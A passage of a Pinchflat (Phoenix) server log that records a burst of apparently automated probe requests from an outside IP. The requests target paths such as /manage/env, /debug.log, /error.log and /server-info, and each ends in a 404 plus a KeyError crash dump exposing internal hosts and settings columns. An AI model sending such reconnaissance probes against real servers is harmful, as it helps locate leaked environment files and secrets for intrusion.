"pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/manage/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-6eJvrDNU9IAAAcE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50386}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50386}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3521.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x- (truncated) 21:08:47.095 [info] GET /debug/default/view 21:08:47.096 [debug] QUERY OK source="settings" db=0.3ms idle=83.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.097 [debug] QUERY OK source="settings" db=0.2ms idle=54.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.097 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.097 [error] #PID<0.3523.0> running PinchflatWeb.Endpoint (connection #PID<0.3522.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /debug/default/view ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50394}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3523.0>, params: %{}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/debug/default/view", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-6iZCq40E7cAAR-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50394}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/default/view (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/default/view", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50394}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3523.0>, params: %{}, path_info: ["debug", "default", "view"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safar (truncated) 21:08:47.199 [info] GET /server-info 21:08:47.201 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=157.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.201 [debug] QUERY OK source="settings" db=0.3ms idle=122.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.201 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.202 [error] #PID<0.3525.0> running PinchflatWeb.Endpoint (connection #PID<0.3524.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /server-info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50402}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3525.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/server-info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-67KTwpLoRQAAHoC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50402}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50402}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3525.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, { (truncated) 21:08:47.225 [info] GET /debug.log 21:08:47.226 [debug] QUERY OK source="settings" db=0.2ms idle=146.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.226 [debug] QUERY OK source="settings" db=0.2ms idle=129.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.226 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.227 [error] #PID<0.3527.0> running PinchflatWeb.Endpoint (connection #PID<0.3526.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50408}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3527.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7BQmhVBg5kAASAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50408}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50408}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3527.0>, params: %{}, path_info: ["debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7BQmhVBg5kAASAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/p (truncated) 21:08:47.261 [info] GET /error.log 21:08:47.262 [debug] QUERY OK source="settings" db=0.2ms idle=61.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.262 [debug] QUERY OK source="settings" db=0.1ms idle=61.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.263 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.263 [error] #PID<0.3529.0> running PinchflatWeb.Endpoint (connection #PID<0.3528.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /error.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/error.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50416}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3529.0>, params: %{}, path_info: 